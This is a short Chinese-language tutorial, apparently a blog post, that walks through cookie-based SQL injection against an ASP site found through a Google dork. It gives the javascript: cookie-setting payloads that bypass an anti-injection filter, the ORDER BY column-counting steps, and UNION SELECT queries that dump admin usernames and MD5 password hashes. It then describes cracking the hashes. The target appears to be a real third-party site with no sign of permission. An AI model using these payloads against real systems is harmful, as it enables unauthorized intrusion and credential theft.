cookie注入
---看到cookie注入,自己动手来实践一下
通过谷歌搜索找到一个目标站点:inurl:asp?id=166
首先按照一般的方式来注入 后面加and 1=1
可见是使用了防注入的, 但是目前我们是使用get方式提交的参数,那现在我们将“id=166”这个参数使用cookie提交看看程序对数据接收是否直接使用 request("xx")的方式?要更改成cookie方式提交,我们首先要访问正常的页面,等页面完全打开之后,我们将IE地址栏清空,然后写 上:javascript:alert(document.cookie="id="+escape("166")); 这里的“id=就是上图的ID,写完之后按下回车
现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中我们打开最开始的地址将?后面删掉看能不能正常访问
OK,页面正常访问,继续操作,我们测试下能否提交特殊字符,看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面,然后在IE地址栏处填写javascript:alert(document.cookie="id="+escape("166 and 1=1"));然后回到另一个页面刷新,一切正常,我们再提交javascript:alert(document.cookie="id="+escape("166 and 1=2"));这是提示找不到此产品....那么确定可以cookie注入
再来使用order by 语句判断出当前执行数据库查询的表的字段数
javascript:alert(document.cookie="id="+escape("166 order by 1")); 然会正常,表示可以使用order by语句,如果错误的话可能是不能使用order by来猜解字段数了,拿就需要直接union select 一个一个的试了。然后提交:javascript:alert(document.cookie="id="+escape("166order by 10")); 如果还返回正常就说明字段数在10以上,我们以此类推直到猜解出正确的字段数,比如这里我提交到了27的时候去刷新页面出现错误,然后提交26的时候去刷 新页面就正常了,就说明字段数是26.
接下来提交javascript:alert(document.cookie="id="+escape("166 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin"));
这时候页面显示正常爆出了可以显示的字段:
再来猜一下字段名:
提交:javascript:alert(document.cookie="id="+escape("166 union select 1,2,username,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin"));
刷新一下 帐号密码已经出来了
密码是MD5加密的 到解密网站去看能不能解出来。。。
密码已经出来了...
虽然帐号密码出来了,但是后台地址一直找不到.......